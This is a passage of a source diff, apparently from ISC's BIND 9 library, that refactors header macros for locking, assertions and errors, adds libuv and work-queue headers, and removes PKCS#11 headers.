+				__typeof__(*(pos)), member))
+
+#endif /* !defined(caa_container_of_check_null) */
+/* clang-format on */
diff --git a/lib/isc/include/isc/url.h b/lib/isc/include/isc/url.h
index 9dd95245c3..d3b935ba97 100644
--- a/lib/isc/include/isc/url.h
+++ b/lib/isc/include/isc/url.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0 and MIT
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -31,7 +33,10 @@
  * IN THE SOFTWARE.
  */
 
+#pragma once
+
 #include <stdbool.h>
+#include <stddef.h>
 #include <stdint.h>
 
 #include <isc/result.h>
diff --git a/lib/isc/include/isc/utf8.h b/lib/isc/include/isc/utf8.h
index 42bc0ab4f9..5643c5de55 100644
--- a/lib/isc/include/isc/utf8.h
+++ b/lib/isc/include/isc/utf8.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/include/isc/util.h b/lib/isc/include/isc/util.h
index 07e7af71ea..a7bc9908ba 100644
--- a/lib/isc/include/isc/util.h
+++ b/lib/isc/include/isc/util.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_UTIL_H
-#define ISC_UTIL_H 1
+#pragma once
 
 #include <inttypes.h>
 
@@ -26,17 +27,29 @@
  * ISC_ or isc_ to the name.
  */
 
+#include <isc/attributes.h>
+
+/***
+ *** Clang Compatibility Macros
+ ***/
+
+#if !defined(__has_feature)
+#define __has_feature(x) 0
+#endif /* if !defined(__has_feature) */
+
 /***
  *** General Macros.
  ***/
 
 /*%
- * Use this to hide unused function arguments.
+ * Legacy way how to hide unused function arguments, don't use in
+ * the new code, rather use the ISC_ATTR_UNUSED macro that expands
+ * to either C23's [[maybe_unused]] or __attribute__((__unused__)).
+ *
  * \code
  * int
- * foo(char *bar)
- * {
- *	UNUSED(bar);
+ * foo(ISC_ATTR_UNUSED char *bar) {
+ *         ...;
  * }
  * \endcode
  */
@@ -67,25 +80,38 @@
 #define ISC_CLAMP(v, x, y) ((v) < (x) ? (x) : ((v) > (y) ? (y) : (v)))
 
 /*%
- * Use this to remove the const qualifier of a variable to assign it to
- * a non-const variable or pass it as a non-const function argument ...
- * but only when you are sure it won't then be changed!
- * This is necessary to sometimes shut up some compilers
- * (as with gcc -Wcast-qual) when there is just no other good way to avoid the
- * situation.
+ * The UNCONST() macro can be used to omit warnings produced by certain
+ * compilers when operating with pointers declared with the const type qual-
+ * ifier in a context without such qualifier.  Examples include passing a
+ * pointer declared with the const qualifier to a function without such
+ * qualifier, and variable assignment from a const pointer to a non-const
+ * pointer.
+ *
+ * As the macro may hide valid errors, their usage is not recommended
+ * unless there is a well-thought reason for a cast.  A typical use case for
+ * __UNCONST() involve an API that does not follow the so-called ``const
+ * correctness'' even if it would be appropriate.
  */
-#define DE_CONST(konst, var)           \
-	do {                           \
-		union {                \
-			const void *k; \
-			void *	    v; \
-		} _u;                  \
-		_u.k = konst;          \
-		var = _u.v;            \
-	} while (0)
+#define UNCONST(ptr) ((void *)(uintptr_t)(ptr))
 
 #define ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0]))
 
+/*
+ * Optional return values, or out-arguments
+ */
+#define SET_IF_NOT_NULL(obj, val) \
+	if ((obj) != NULL) {      \
+		*(obj) = (val);   \
+	}
+
+/*%
+ * Get the allocation size for a struct with a flexible array member
+ * containing `count` elements. The struct is identified by a pointer,
+ * typically the one that points to (or will point to) the allocation.
+ */
+#define STRUCT_FLEX_SIZE(pointer, member, count) \
+	(sizeof(*(pointer)) + sizeof(*(pointer)->member) * (count))
+
 /*%
  * Use this in translation units that would otherwise be empty, to
  * suppress compiler warnings.
@@ -95,8 +121,6 @@
 /*%
  * We use macros instead of calling the routines directly because
  * the capital letters make the locking stand out.
- * We RUNTIME_CHECK for success since in general there's no way
- * for us to continue if they fail.
  */
 
 #ifdef ISC_UTIL_TRACEON
@@ -108,43 +132,56 @@
 
 #include <isc/result.h> /* Contractual promise. */
 
+#define SPINLOCK(sp)                                                           \
+	{                                                                      \
+		ISC_UTIL_TRACE(fprintf(stderr, "SPINLOCKING %p %s %d\n", (sp), \
+				       __FILE__, __LINE__));                   \
+		isc_spinlock_lock((sp));                                       \
+		ISC_UTIL_TRACE(fprintf(stderr, "SPINLOCKED %p %s %d\n", (sp),  \
+				       __FILE__, __LINE__));                   \
+	}
+#define SPINUNLOCK(sp)                                                    \
+	{                                                                 \
+		isc_spinlock_unlock((sp));                                \
+		ISC_UTIL_TRACE(fprintf(stderr, "SPINUNLOCKED %p %s %d\n", \
+				       (sp), __FILE__, __LINE__));        \
+	}
+
 #define LOCK(lp)                                                           \
-	do {                                                               \
+	{                                                                  \
 		ISC_UTIL_TRACE(fprintf(stderr, "LOCKING %p %s %d\n", (lp), \
 				       __FILE__, __LINE__));               \
-		RUNTIME_CHECK(isc_mutex_lock((lp)) == ISC_R_SUCCESS);      \
+		isc_mutex_lock((lp));                                      \
 		ISC_UTIL_TRACE(fprintf(stderr, "LOCKED %p %s %d\n", (lp),  \
 				       __FILE__, __LINE__));               \
-	} while (0)
+	}
 #define UNLOCK(lp)                                                          \
-	do {                                                                \
-		RUNTIME_CHECK(isc_mutex_unlock((lp)) == ISC_R_SUCCESS);     \
+	{                                                                   \
+		isc_mutex_unlock((lp));                                     \
 		ISC_UTIL_TRACE(fprintf(stderr, "UNLOCKED %p %s %d\n", (lp), \
 				       __FILE__, __LINE__));                \
-	} while (0)
+	}
 
 #define BROADCAST(cvp)                                                        \
-	do {                                                                  \
+	{                                                                     \
 		ISC_UTIL_TRACE(fprintf(stderr, "BROADCAST %p %s %d\n", (cvp), \
 				       __FILE__, __LINE__));                  \
-		RUNTIME_CHECK(isc_condition_broadcast((cvp)) ==               \
-			      ISC_R_SUCCESS);                                 \
-	} while (0)
-#define SIGNAL(cvp)                                                          \
-	do {                                                                 \
-		ISC_UTIL_TRACE(fprintf(stderr, "SIGNAL %p %s %d\n", (cvp),   \
-				       __FILE__, __LINE__));                 \
-		RUNTIME_CHECK(isc_condition_signal((cvp)) == ISC_R_SUCCESS); \
-	} while (0)
+		isc_condition_broadcast((cvp));                               \
+	}
+#define SIGNAL(cvp)                                                        \
+	{                                                                  \
+		ISC_UTIL_TRACE(fprintf(stderr, "SIGNAL %p %s %d\n", (cvp), \
+				       __FILE__, __LINE__));               \
+		isc_condition_signal((cvp));                               \
+	}
 #define WAIT(cvp, lp)                                                         \
-	do {                                                                  \
+	{                                                                     \
 		ISC_UTIL_TRACE(fprintf(stderr, "WAIT %p LOCK %p %s %d\n",     \
 				       (cvp), (lp), __FILE__, __LINE__));     \
-		RUNTIME_CHECK(isc_condition_wait((cvp), (lp)) ==              \
-			      ISC_R_SUCCESS);                                 \
+		isc_condition_wait((cvp), (lp));                              \
 		ISC_UTIL_TRACE(fprintf(stderr, "WAITED %p LOCKED %p %s %d\n", \
 				       (cvp), (lp), __FILE__, __LINE__));     \
-	} while (0)
+	}
 
 /*
  * isc_condition_waituntil can return ISC_R_TIMEDOUT, so we
@@ -156,19 +193,38 @@
 #define WAITUNTIL(cvp, lp, tp) isc_condition_waituntil((cvp), (lp), (tp))
 
 #define RWLOCK(lp, t)                                                         \
-	do {                                                                  \
+	{                                                                     \
 		ISC_UTIL_TRACE(fprintf(stderr, "RWLOCK %p, %d %s %d\n", (lp), \
 				       (t), __FILE__, __LINE__));             \
-		RUNTIME_CHECK(isc_rwlock_lock((lp), (t)) == ISC_R_SUCCESS);   \
+		isc_rwlock_lock((lp), (t));                                   \
 		ISC_UTIL_TRACE(fprintf(stderr, "RWLOCKED %p, %d %s %d\n",     \
 				       (lp), (t), __FILE__, __LINE__));       \
-	} while (0)
-#define RWUNLOCK(lp, t)                                                       \
-	do {                                                                  \
-		ISC_UTIL_TRACE(fprintf(stderr, "RWUNLOCK %p, %d %s %d\n",     \
-				       (lp), (t), __FILE__, __LINE__));       \
-		RUNTIME_CHECK(isc_rwlock_unlock((lp), (t)) == ISC_R_SUCCESS); \
-	} while (0)
+	}
+#define RWUNLOCK(lp, t)                                                   \
+	{                                                                 \
+		ISC_UTIL_TRACE(fprintf(stderr, "RWUNLOCK %p, %d %s %d\n", \
+				       (lp), (t), __FILE__, __LINE__));   \
+		isc_rwlock_unlock((lp), (t));                             \
+	}
+
+#define RDLOCK(lp)   RWLOCK(lp, isc_rwlocktype_read)
+#define RDUNLOCK(lp) RWUNLOCK(lp, isc_rwlocktype_read)
+#define WRLOCK(lp)   RWLOCK(lp, isc_rwlocktype_write)
+#define WRUNLOCK(lp) RWUNLOCK(lp, isc_rwlocktype_write)
+
+#define UPGRADELOCK(lock, locktype)                                         \
+	{                                                                   \
+		if (locktype == isc_rwlocktype_read) {                      \
+			if (isc_rwlock_tryupgrade(lock) == ISC_R_SUCCESS) { \
+				locktype = isc_rwlocktype_write;            \
+			} else {                                            \
+				RWUNLOCK(lock, locktype);                   \
+				locktype = isc_rwlocktype_write;            \
+				RWLOCK(lock, locktype);                     \
+			}                                                   \
+		}                                                           \
+		INSIST(locktype == isc_rwlocktype_write);                   \
+	}
 
 /*
  * List Macros.
@@ -196,23 +252,18 @@
 /*%
  * Performance
  */
-#include <isc/likely.h>
-
-#ifdef HAVE_BUILTIN_UNREACHABLE
-#define ISC_UNREACHABLE() __builtin_unreachable();
-#else /* ifdef HAVE_BUILTIN_UNREACHABLE */
-#define ISC_UNREACHABLE()
-#endif /* ifdef HAVE_BUILTIN_UNREACHABLE */
-
-#if !defined(__has_feature)
-#define __has_feature(x) 0
-#endif /* if !defined(__has_feature) */
 
 /* GCC defines __SANITIZE_ADDRESS__, so reuse the macro for clang */
 #if __has_feature(address_sanitizer)
 #define __SANITIZE_ADDRESS__ 1
 #endif /* if __has_feature(address_sanitizer) */
 
+#if __SANITIZE_ADDRESS__
+#define ISC_NO_SANITIZE_ADDRESS __attribute__((no_sanitize("address")))
+#else /* if __SANITIZE_ADDRESS__ */
+#define ISC_NO_SANITIZE_ADDRESS
+#endif /* if __SANITIZE_ADDRESS__ */
+
 #if __has_feature(thread_sanitizer)
 #define __SANITIZE_THREAD__ 1
 #endif /* if __has_feature(thread_sanitizer) */
@@ -228,7 +279,12 @@
 #elif __has_feature(c_static_assert)
 #define STATIC_ASSERT(cond, msg) _Static_assert(cond, msg)
 #else /* if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR >= 6) */
-#define STATIC_ASSERT(cond, msg) INSIST(cond)
+
+/* Courtesy of Joseph Quinsey: https://godbolt.org/z/K9RvWS */
+#define TOKENPASTE(a, b)	a##b /* "##" is the "Token Pasting Operator" */
+#define EXPAND_THEN_PASTE(a, b) TOKENPASTE(a, b) /* expand then paste */
+#define STATIC_ASSERT(x, msg) \
+	enum { EXPAND_THEN_PASTE(ASSERT_line_, __LINE__) = 1 / ((msg) && (x)) }
 #endif /* if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR >= 6) */
 
 #ifdef UNIT_TESTING
@@ -257,15 +313,15 @@ mock_assert(const int result, const char *const expression,
 	((!(expression))                                                      \
 		 ? (mock_assert(0, #expression, __FILE__, __LINE__), abort()) \
 		 : (void)0)
+#define UNREACHABLE() \
+	(mock_assert(0, "unreachable", __FILE__, __LINE__), abort())
 #define _assert_true(c, e, f, l) \
 	((c) ? (void)0 : (_assert_true(0, e, f, l), abort()))
 #define _assert_int_equal(a, b, f, l) \
 	(((a) == (b)) ? (void)0 : (_assert_int_equal(a, b, f, l), abort()))
 #define _assert_int_not_equal(a, b, f, l) \
 	(((a) != (b)) ? (void)0 : (_assert_int_not_equal(a, b, f, l), abort()))
-#else /* UNIT_TESTING */
-
-#ifndef CPPCHECK
+#else			    /* UNIT_TESTING */
 
 /*
  * Assertions
@@ -281,65 +337,59 @@ mock_assert(const int result, const char *const expression,
 /*% Invariant Assertion */
 #define INVARIANT(e) ISC_INVARIANT(e)
 
-#else /* CPPCHECK */
-
-/*% Require Assertion */
-#define REQUIRE(e) \
-	if (!(e))  \
-	abort()
-/*% Ensure Assertion */
-#define ENSURE(e) \
-	if (!(e)) \
-	abort()
-/*% Insist Assertion */
-#define INSIST(e) \
-	if (!(e)) \
-	abort()
-/*% Invariant Assertion */
-#define INVARIANT(e) \
-	if (!(e))    \
-	abort()
-
-#endif /* CPPCHECK */
+#define UNREACHABLE() ISC_UNREACHABLE()
 
 #endif /* UNIT_TESTING */
 
 /*
  * Errors
  */
-#include <isc/error.h> /* Contractual promise. */
+#include <errno.h> /* for errno */
+
+#include <isc/error.h>	/* Contractual promise. */
+#include <isc/strerr.h> /* for ISC_STRERRORSIZE */
+
+#define UNEXPECTED_ERROR(...) \
+	isc_error_unexpected(__FILE__, __LINE__, __func__, __VA_ARGS__)
+
+#define FATAL_ERROR(...) \
+	isc_error_fatal(__FILE__, __LINE__, __func__, __VA_ARGS__)
+
+#define REPORT_SYSERROR(report, err, fmt, ...)                        \
+	{                                                             \
+		char strerr[ISC_STRERRORSIZE];                        \
+		strerror_r(err, strerr, sizeof(strerr));              \
+		report(__FILE__, __LINE__, __func__, fmt ": %s (%d)", \
+		       ##__VA_ARGS__, strerr, err);                   \
+	}
 
-/*% Unexpected Error */
-#define UNEXPECTED_ERROR isc_error_unexpected
-/*% Fatal Error */
-#define FATAL_ERROR isc_error_fatal
+#define UNEXPECTED_SYSERROR(err, ...) \
+	REPORT_SYSERROR(isc_error_unexpected, err, __VA_ARGS__)
+
+#define FATAL_SYSERROR(err, ...) \
+	REPORT_SYSERROR(isc_error_fatal, err, __VA_ARGS__)
 
 #ifdef UNIT_TESTING
 
-#define RUNTIME_CHECK(expression)                                             \
-	((!(expression))                                                      \
-		 ? (mock_assert(0, #expression, __FILE__, __LINE__), abort()) \
-		 : (void)0)
+#define RUNTIME_CHECK(cond) \
+	((cond) ? (void)0   \
+		: (mock_assert(0, #cond, __FILE__, __LINE__), abort()))
 
 #else /* UNIT_TESTING */
 
-#ifndef CPPCHECK
-/*% Runtime Check */
-#define RUNTIME_CHECK(cond) ISC_ERROR_RUNTIMECHECK(cond)
-#else /* ifndef CPPCHECK */
-#define RUNTIME_CHECK(e) \
-	if (!(e))        \
-	abort()
-#endif /* ifndef CPPCHECK */
+#define RUNTIME_CHECK(cond) \
+	((cond) ? (void)0 : FATAL_ERROR("RUNTIME_CHECK(%s) failed", #cond))
 
 #endif /* UNIT_TESTING */
 
 /*%
- * Time
+ * Runtime check which logs the error value returned by a POSIX Threads
+ * function and the error string that corresponds to it
  */
-#define TIME_NOW(tp) RUNTIME_CHECK(isc_time_now((tp)) == ISC_R_SUCCESS)
-#define TIME_NOW_HIRES(tp) \
-	RUNTIME_CHECK(isc_time_now_hires((tp)) == ISC_R_SUCCESS)
+#define PTHREADS_RUNTIME_CHECK(func, ret)           \
+	if ((ret) != 0) {                           \
+		FATAL_SYSERROR(ret, "%s()", #func); \
+	}
 
 /*%
  * Alignment
@@ -351,8 +401,11 @@ mock_assert(const int result, const char *const expression,
 #endif /* ifdef __GNUC__ */
 
 /*%
- * Misc
+ * Swap
  */
-#include <isc/deprecated.h>
-
-#endif /* ISC_UTIL_H */
+#define ISC_SWAP(a, b)                    \
+	{                                 \
+		typeof(a) __tmp_swap = a; \
+		a = b;                    \
+		b = __tmp_swap;           \
+	}
diff --git a/lib/isc/include/isc/uv.h b/lib/isc/include/isc/uv.h
new file mode 100644
index 0000000000..541f697b1b
--- /dev/null
+++ b/lib/isc/include/isc/uv.h
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <stdbool.h>
+#include <uv.h>
+
+#include <isc/result.h>
+#include <isc/tid.h>
+
+#define UV_VERSION(major, minor, patch) ((major << 16) | (minor << 8) | (patch))
+
+/*
+ * Copied verbatim from libuv/src/version.c
+ */
+
+#define UV_STRINGIFY(v)	       UV_STRINGIFY_HELPER(v)
+#define UV_STRINGIFY_HELPER(v) #v
+
+#define UV_VERSION_STRING_BASE         \
+	UV_STRINGIFY(UV_VERSION_MAJOR) \
+	"." UV_STRINGIFY(UV_VERSION_MINOR) "." UV_STRINGIFY(UV_VERSION_PATCH)
+
+#if UV_VERSION_IS_RELEASE
+#define UV_VERSION_STRING UV_VERSION_STRING_BASE
+#else
+#define UV_VERSION_STRING UV_VERSION_STRING_BASE "-" UV_VERSION_SUFFIX
+#endif
+
+#if !defined(UV__ERR)
+#define UV__ERR(x) (-(x))
+#endif
+
+/*
+ * These are used with all versions of libuv:
+ */
+
+#define UV_RUNTIME_CHECK(func, ret)                                      \
+	if (ret != 0) {                                                  \
+		FATAL_ERROR("%s failed: %s\n", #func, uv_strerror(ret)); \
+	}
+
+#define isc_uverr2result(x) \
+	isc__uverr2result(x, true, __FILE__, __LINE__, __func__)
+isc_result_t
+isc__uverr2result(int uverr, bool dolog, const char *file, unsigned int line,
+		  const char *func);
+/*%<
+ * Convert a libuv error value into an isc_result_t.  The
+ * list of supported error values is not complete; new users
+ * of this function should add any expected errors that are
+ * not already there.
+ */
+
+/**
+ * Type-casting helpers
+ */
+
+#define uv_handle_set_data(handle, data) \
+	uv_handle_set_data((uv_handle_t *)(handle), (data))
+#define uv_handle_get_data(handle) uv_handle_get_data((uv_handle_t *)(handle))
+#define uv_close(handle, close_cb) uv_close((uv_handle_t *)handle, close_cb)
+
+#if UV_TRACE_INIT
+
+#define uv_idle_init(loop, idle)                                          \
+	({                                                                \
+		int __r = uv_idle_init(loop, idle);                       \
+		fprintf(stderr, "%" PRIu32 ":%s_:uv_idle_init(%p, %p)\n", \
+			isc_tid(), __func__, loop, idle);                 \
+		__r;                                                      \
+	})
+
+#define uv_timer_init(loop, timer)                                         \
+	({                                                                 \
+		int __r = uv_timer_init(loop, timer);                      \
+		fprintf(stderr, "%" PRIu32 ":%s_:uv_timer_init(%p, %p)\n", \
+			isc_tid(), __func__, loop, timer);                 \
+		__r;                                                       \
+	})
+
+#define uv_async_init(loop, async, async_cb)                                   \
+	({                                                                     \
+		int __r = uv_async_init(loop, async, async_cb);                \
+		fprintf(stderr, "%" PRIu32 ":%s_:uv_timer_init(%p, %p, %p)\n", \
+			isc_tid(), __func__, loop, async, async_cb);           \
+		__r;                                                           \
+	})
+
+#define uv_close(handle, close_cb)                                    \
+	({                                                            \
+		uv_close(handle, close_cb);                           \
+		fprintf(stderr, "%" PRIu32 ":%s_:uv_close(%p, %p)\n", \
+			isc_tid(), __func__, handle, close_cb);       \
+	})
+
+#endif
+
+/*
+ * Internal
+ */
+
+void
+isc__uv_initialize(void);
+void
+isc__uv_shutdown(void);
+void
+isc__uv_setdestroycheck(bool check);
diff --git a/lib/isc/include/isc/work.h b/lib/isc/include/isc/work.h
new file mode 100644
index 0000000000..df196e95ea
--- /dev/null
+++ b/lib/isc/include/isc/work.h
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <stdlib.h>
+
+#include <isc/lang.h>
+#include <isc/loop.h>
+
+typedef void (*isc_work_cb)(void *arg);
+typedef void (*isc_after_work_cb)(void *arg);
+typedef struct isc_work isc_work_t;
+
+ISC_LANG_BEGINDECLS
+
+void
+isc_work_enqueue(isc_loop_t *loop, isc_work_cb work_cb,
+		 isc_after_work_cb after_work_cb, void *cbarg);
+/*%<
+ * Schedules work to be handled by the libuv thread pool (see uv_work_t).
+ * The function specified in `work_cb` will be run by a thread in the
+ * thread pool; when complete, the `after_work_cb` function will run
+ * in 'loop' to inform the caller that the work was completed.
+ *
+ * Requires:
+ * \li 'loop' is a valid event loop.
+ * \li 'work_cb' and 'after_work_cb' are not NULL.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/xml.h b/lib/isc/include/isc/xml.h
new file mode 100644
index 0000000000..e4af80172f
--- /dev/null
+++ b/lib/isc/include/isc/xml.h
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <stdbool.h>
+
+void
+isc__xml_initialize(void);
+
+void
+isc__xml_shutdown(void);
+
+void
+isc__xml_setdestroycheck(bool check);
diff --git a/lib/isc/include/pk11/constants.h b/lib/isc/include/pk11/constants.h
deleted file mode 100644
index 48e9a6f56c..0000000000
--- a/lib/isc/include/pk11/constants.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <inttypes.h>
-
-/*! \file pk11/constants.h */
-
-/*%
- * Static arrays of data used for key template initialization
- */
-#define PK11_ECC_PRIME256V1                                                \
-	(uint8_t[]) {                                                      \
-		0x06, 0x08, 0x2a, 0x86, 0x48, 0xce, 0x3d, 0x03, 0x01, 0x07 \
-	}
-#define PK11_ECC_SECP384R1 \
-	(uint8_t[]) { 0x06, 0x05, 0x2b, 0x81, 0x04, 0x00, 0x22 }
-#define PK11_ECX_ED25519                                                     \
-	(uint8_t[]) {                                                        \
-		0x13, 0xc, 'e', 'd', 'w', 'a', 'r', 'd', 's', '2', '5', '5', \
-			'1', '9'                                             \
-	}
-#define PK11_ECX_ED448                                                      \
-	(uint8_t[]) {                                                       \
-		0x13, 0xa, 'e', 'd', 'w', 'a', 'r', 'd', 's', '4', '4', '8' \
-	}
diff --git a/lib/isc/include/pk11/internal.h b/lib/isc/include/pk11/internal.h
deleted file mode 100644
index 9c067c5610..0000000000
--- a/lib/isc/include/pk11/internal.h
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef PK11_INTERNAL_H
-#define PK11_INTERNAL_H 1
-
-/*! \file pk11/internal.h */
-
-#include <pk11/pk11.h>
-
-ISC_LANG_BEGINDECLS
-
-const char *
-pk11_get_lib_name(void);
-
-void *
-pk11_mem_get(size_t size);
-
-void
-pk11_mem_put(void *ptr, size_t size);
-
-CK_SLOT_ID
-pk11_get_best_token(pk11_optype_t optype);
-
-isc_result_t
-pk11_numbits(CK_BYTE_PTR data, unsigned int bytecnt, unsigned int *bits);
-
-CK_ATTRIBUTE *
-pk11_attribute_first(const pk11_object_t *obj);
-
-CK_ATTRIBUTE *
-pk11_attribute_next(const pk11_object_t *obj, CK_ATTRIBUTE *attr);
-
-CK_ATTRIBUTE *
-pk11_attribute_bytype(const pk11_object_t *obj, CK_ATTRIBUTE_TYPE type);
-
-ISC_LANG_ENDDECLS
-
-#endif /* PK11_INTERNAL_H */
diff --git a/lib/isc/include/pk11/pk11.h b/lib/isc/include/pk11/pk11.h
deleted file mode 100644
index 66798c2c52..0000000000
--- a/lib/isc/include/pk11/pk11.h
+++ /dev/null
@@ -1,286 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-/*! \file pk11/pk11.h */
-
-#include <stdbool.h>
-#include <unistd.h>
-
-#include <isc/attributes.h>
-#include <isc/lang.h>
-#include <isc/magic.h>
-#include <isc/types.h>
-
-#define PK11_FATALCHECK(func, args)              \
-	((void)(((rv = (func)args) == CKR_OK) || \
-		((pk11_error_fatalcheck)(__FILE__, __LINE__, #func, rv), 0)))
-
-#include <pk11/site.h>
-#include <pkcs11/pkcs11.h>
-
-ISC_LANG_BEGINDECLS
-
-#define SES_MAGIC ISC_MAGIC('P', 'K', 'S', 'S')
-#define TOK_MAGIC ISC_MAGIC('P', 'K', 'T', 'K')
-
-#define VALID_SES(x) ISC_MAGIC_VALID(x, SES_MAGIC)
-#define VALID_TOK(x) ISC_MAGIC_VALID(x, TOK_MAGIC)
-
-typedef struct pk11_context pk11_context_t;
-
-struct pk11_object {
-	CK_OBJECT_HANDLE object;
-	CK_SLOT_ID	 slot;
-	CK_BBOOL	 ontoken;
-	CK_BBOOL	 reqlogon;
-	CK_BYTE		 attrcnt;
-	CK_ATTRIBUTE *	 repr;
-};
-
-struct pk11_context {
-	void *		  handle;
-	CK_SESSION_HANDLE session;
-	CK_BBOOL	  ontoken;
-	CK_OBJECT_HANDLE  object;
-};
-
-typedef struct pk11_object pk11_object_t;
-
-typedef enum {
-	OP_ANY = 0,
-	OP_RSA = 1,
-	OP_DH = 3,
-	OP_ECDSA = 4,
-	OP_EDDSA = 5,
-	OP_MAX = 6
-} pk11_optype_t;
-
-/*%
- * Global flag to make choose_slots() verbose
- */
-LIBISC_EXTERNAL_DATA extern bool pk11_verbose_init;
-
-/*%
- * Function prototypes
- */
-
-void
-pk11_set_lib_name(const char *lib_name);
-/*%<
- * Set the PKCS#11 provider (aka library) path/name.
- */
-
-isc_result_t
-pk11_initialize(isc_mem_t *mctx, const char *engine);
-/*%<
- * Initialize PKCS#11 device
- *
- * mctx:   memory context to attach to pk11_mctx.
- * engine: PKCS#11 provider (aka library) path/name.
- *
- * returns:
- *         ISC_R_SUCCESS
- *         PK11_R_NOPROVIDER: can't load the provider
- *         PK11_R_INITFAILED: C_Initialize() failed
- *         PK11_R_NORANDOMSERVICE: can't find required random service
- *         PK11_R_NODIGESTSERVICE: can't find required digest service
- *         PK11_R_NOAESSERVICE: can't find required AES service
- */
-
-isc_result_t
-pk11_get_session(pk11_context_t *ctx, pk11_optype_t optype, bool need_services,
-		 bool rw, bool logon, const char *pin, CK_SLOT_ID slot);
-/*%<
- * Initialize PKCS#11 device and acquire a session.
- *
- * need_services:
- * 	  if true, this session requires full PKCS#11 API
- * 	  support including random and digest services, and
- * 	  the lack of these services will cause the session not
- * 	  to be initialized.  If false, the function will return
- * 	  an error code indicating the missing service, but the
- * 	  session will be usable for other purposes.
- * rw:    if true, session will be read/write (useful for
- *        generating or destroying keys); otherwise read-only.
- * login: indicates whether to log in to the device
- * pin:   optional PIN, overriding any PIN currently associated
- *        with the
- * slot:  device slot ID
- */
-
-void
-pk11_return_session(pk11_context_t *ctx);
-/*%<
- * Release an active PKCS#11 session for reuse.
- */
-
-isc_result_t
-pk11_finalize(void);
-/*%<
- * Shut down PKCS#11 device and free all sessions.
- */
-
-isc_result_t
-pk11_parse_uri(pk11_object_t *obj, const char *label, isc_mem_t *mctx,
-	       pk11_optype_t optype);
-
-ISC_NORETURN void
-pk11_error_fatalcheck(const char *file, int line, const char *funcname,
-		      CK_RV rv);
-
-void
-pk11_dump_tokens(void);
-
-CK_RV
-pkcs_C_Initialize(CK_VOID_PTR pReserved);
-
-char *
-pk11_get_load_error_message(void);
-
-CK_RV
-pkcs_C_Finalize(CK_VOID_PTR pReserved);
-
-CK_RV
-pkcs_C_GetSlotList(CK_BBOOL tokenPresent, CK_SLOT_ID_PTR pSlotList,
-		   CK_ULONG_PTR pulCount);
-
-CK_RV
-pkcs_C_GetTokenInfo(CK_SLOT_ID slotID, CK_TOKEN_INFO_PTR pInfo);
-
-CK_RV
-pkcs_C_GetMechanismInfo(CK_SLOT_ID slotID, CK_MECHANISM_TYPE type,
-			CK_MECHANISM_INFO_PTR pInfo);
-
-CK_RV
-pkcs_C_OpenSession(CK_SLOT_ID slotID, CK_FLAGS flags, CK_VOID_PTR pApplication,
-		   CK_RV (*Notify)(CK_SESSION_HANDLE hSession,
-				   CK_NOTIFICATION   event,
-				   CK_VOID_PTR	     pApplication),
